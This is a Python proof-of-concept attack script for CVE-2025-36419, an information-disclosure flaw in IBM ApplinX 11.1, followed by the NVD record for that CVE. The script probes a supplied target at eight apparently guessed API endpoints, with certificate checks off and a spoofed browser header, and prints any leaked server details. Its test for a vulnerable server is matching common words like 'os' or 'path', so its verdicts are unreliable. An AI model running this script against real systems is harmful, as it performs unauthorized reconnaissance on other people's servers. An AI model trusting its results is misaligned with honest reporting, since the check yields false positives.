CVE-2025-36419

# CVE-2025-36419 PoC - IBM ApplinX Information Disclosure # Target: IBM ApplinX 11.1 # Vulnerability: Server architecture information disclosure import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-36419 """ # Common endpoints that may leak server information endpoints = [ "/applinx/api/v1/system/info", "/applinx/api/v1/server/status", "/applinx/api/v1/config/server", "/applinx/api/v1/diagnostics", "/applinx/api/v1/health", "/applinx/api/v1/metrics", "/applinx/api/v1/env", "/applinx/api/v1/info" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json, text/html" } vulnerable = False leaked_info = [] for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for information disclosure indicators if response.status_code == 200: content = response.text.lower() info_keywords = ['server', 'architecture', 'os', 'version', 'java', 'system', 'path', 'directory', 'config'] matches = [kw for kw in info_keywords if kw in content] if matches: vulnerable = True leaked_info.append({ "endpoint": endpoint, "status_code": response.status_code, "keywords_found": matches, "sample_content": response.text[:500] }) except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") return vulnerable, leaked_info if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_36419_poc.py <target_url>") print("Example: python cve_2025_36419_poc.py https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] Checking for CVE-2025-36419 vulnerability...\n") is_vulnerable, info = check_vulnerability(target) if is_vulnerable: print("[!] VULNERABLE - Server architecture information disclosure detected!") print(f"\n[+] Leaked information found at {len(info)} endpoint(s):") for item in info: print(f"\n Endpoint: {item['endpoint']}") print(f" Keywords: {', '.join(item['keywords_found'])}") print(f" Sample: {item['sample_content']}") else: print("[-] Not vulnerable or target not responding")

{"cve": {"id": "CVE-2025-36419", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:04.960", "lastModified": "2026-01-26T19:46:25.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM ApplinX 11.1 could disclose sensitive information about server architecture that could aid in further attacks against the system."}, {"lang": "es", "value": "IBM ApplinX 11.1 podría divulgar información sensible sobre la arquitectura del servidor que podría ayudar en ataques posteriores contra el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-550"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:applinx:11.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7116F100-D485-4B66-A910-9A4663360A0F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257446", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}